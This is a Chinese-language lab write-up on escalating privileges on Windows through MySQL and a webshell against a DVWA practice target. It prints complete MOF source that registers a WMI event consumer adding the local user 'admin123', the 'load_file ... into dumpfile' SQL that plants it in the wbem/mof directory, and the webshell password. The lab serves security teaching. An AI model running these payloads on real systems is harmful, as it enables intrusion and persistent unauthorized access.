Mysql提权-基于webshell的MOF提权
基于webshell的MOF提权
【实验目的】
??通过本实验理解如何利用MOF属性进行提权,掌握通过webshell上传和执行MOF提权脚本的方法,熟悉MOF文件的安全控制策略。
【实验环境】
攻击机:Win2008-att
webshell脚本:dama.php
mof提权脚本:nullevt.mof
目标靶机:Win2003-DVWA
【实验原理】
??MOF是Windows系统的一个文件(在c:/windows/system32/wbem/mof/nullevt.mof),叫做“托管对象格式”,其作用是每隔一段时间就会去监控进程创建和死亡。MOF当中有一段是vbs脚本,当中大多数是cmd的添加用户的命令。
【实验步骤】
??1.在靶机Win2003-DVWA上,启动phpstudy,开启漏洞环境。
??2.在攻击机上,启动Firefox浏览器,登录靶机上的DVWA网站。
网站的URL为:http://【靶机IP地址】/dvwa
登录用户名为admin,密码为password
??3.成功登录DVWA网站后,选择网站左侧菜单“DVWA Security”,将DVWA网站安全等级设置为“Low”。
??4.选择网站左侧菜单“File Upload”,将攻击机Win2008-att桌面文件夹Tools中的dama.php(实验中所用的webshell)、nullevt.mof文件上传至靶机。
??其中,nullevt.mof文件中的内容为如下这段代码:
#pragma namespace("\\\\.\\root\\subscription")
instance of __EventFilter as $EventFilter
{
EventNamespace = "Root\\Cimv2";
Name = "filtP2";
Query = "Select * From __InstanceModificationEvent "
"Where TargetInstance Isa \"Win32_LocalTime\" "
"And TargetInstance.Second = 5";
QueryLanguage = "WQL";
};
instance of ActiveScriptEventConsumer as $Consumer
{
Name = "consPCSV2";
ScriptingEngine = "JScript";
ScriptText =
"var WSH = new ActiveXObject(\"WScript.Shell\")\nWSH.run(\"net.exe user admin123 admin123 /add\")";
};
instance of __FilterToConsumerBinding
{
Consumer = $Consumer;
Filter = $EventFilter;
};
??5.dama.php上传成功后,在攻击机浏览的地址栏中输入如下URL连接dama.php:
http://【靶机IP地址】/dvwa/hackable/uploads/dama.php
??出现登录提示框时,输入密码hucyuansheng登录。
??6.成功登录dama.php后,选择左侧菜单“提权工具”->“执行MySQL执行”,在命令框中输入如下SQL命令:
select load_file(‘C:\\Program Files\\phpStudy\\WWW\\DVWA\\hackable\\uploads\\nullevt.mof’) into dumpfile ‘C:\\Windows\\System32\\wbem\\mof\\nullevt.mof’;
??该命令的作用是将上传的nullevt.mof文件移动到C:/Windows/System32/wbem/mof目录下,使操作系统自动执行。
??7.在靶机上验证攻击效果。
(1)进入靶机的C:/Windows/System32/wbem/mof/good目录,会发现其下存在nullevt.mof文件。
??注意:如果mof文件正确执行,系统会自动从wbem/mof/放到wbem/mof/good下;如果不能正确执行,则会自动从wbem/mof/放到wbem/mof/bad下。
??(2)在cmd下输入net user命令,会看到靶机操作系统中被添加了一个用户“admin123”。
??实验至此结束。
【思考与总结】
??通过本次实验,成功实现了利用webshell命令将MOF提权文件写入系统执行目录的过程,掌握MOF提权的原理和具体利用过程。